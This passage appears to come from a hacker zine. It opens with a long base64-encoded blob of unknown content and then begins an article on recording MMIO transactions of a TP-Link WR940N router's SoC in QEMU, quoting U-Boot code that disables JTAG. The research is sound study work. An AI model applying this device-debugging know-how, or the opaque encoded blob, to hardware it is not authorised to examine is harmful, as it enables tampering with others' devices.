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 |=-----------------------------------------------------------------------=| |=---------------------=[ 6 - MMIO in the Middle ]=----------------------=| |=-----------------------------------------------------------------------=| |=----------------------------=[ b1ack0wl ]=-----------------------------=| |=-----------------------------------------------------------------------=| --[ Table of Contents 0 - Introduction 1 - What sparked this research 2 - Looking into Das U-Boot 3 - Initial Testing 4 - Using Qemu to record MMIO transactions 5 - Discoveries 6 - Failed idea(s) 7 - Give this a try yourself! --[ 0 - Introduction System on Chips (SoCs) are very common in embedded devices, ranging from cell phones to cheap smart devices. These chips contain many subcomponents within them such as flash memory, network chips, modems, ...etc. These subcomponents are interacted with via Memory Mapped Input Output regions (MMIO) which is a fancy way of saying "Memory Address 0x00000004 is mapped to register 'X' for component 'Y'. The target for this article is the TP-Link WR940N wireless router. This device has a fairly old processor in it, the "TP9343", which is actually a Qualcomm Atheros QCA956x SoC. Even though the target device in this article is outdated, the technique I am about to describe can be applied to different types of embedded devices where the bootloader can easily be changed, or has the ability to read and write to physical memory. --[ 1 - What sparked this research A while back, @hyprdude and I were doing some reconnaissance on the router. hyperdude found that the GPL tarball [1] published by TP-Link was fully loaded, and included the modified Linux kernel and Das U-Boot sources used on the device. This discovery sparked an idea of creating a custom Qemu board for this particular chipset, which will help us understand the initial MMIO regions that the bootloader writes and reads to when it's first powered on (e.g. making an LED blink different colors.) A custom board will also give us the ability to debug the kernel and kernel modules, because the pins for E-JTAG were not working. After looking at the bootloader's source code, it was obvious why the pins were not working. The following code is executed upon startup, which disables the E-JTAG ports on the device via multiplexing. ``` [board956x.c] #define GPIO_FUNC 0x1804006c /* set non-JTag */ li t0, GPIO_FUNC lw t1, 0(t0) li t2, (1<<1) /* we useGPIO14/GPIO15, so disable JTAG*/ or t1, t1, t2 sw t1, 0(t0) ``` By looking at the code, we can note that the MMIO address 0x1804006c is the `GPIO_FUNC` register. This register may be responsible for GPIO input multiplexing, but without a datasheet it's all just guesses from prior experiences. Luckily, there was a datasheet posted on a Github repo [2] for the QCA9563 chip, which specifies that `bit 1` at address `0x1804006c` is for disabling JTAG. Since we have the source code that actually compiles, we can simply modify Das U-Boot and enable JTAG. But, the goal is to achieve kernel debugging without touching the hardware, even though it should be possible to access E-JTAG before the above ASM statements are executed. --[ 2 - Looking into Das U-Boot While looking for more hints about the MMIO regions, I decided to analyze the modified source code for the bootloader within the GPL tarball. If the following keywords are defined: - `CONFIG_AUTOBOOT_KEYED` - `CONFIG_BOOTDELAY` - 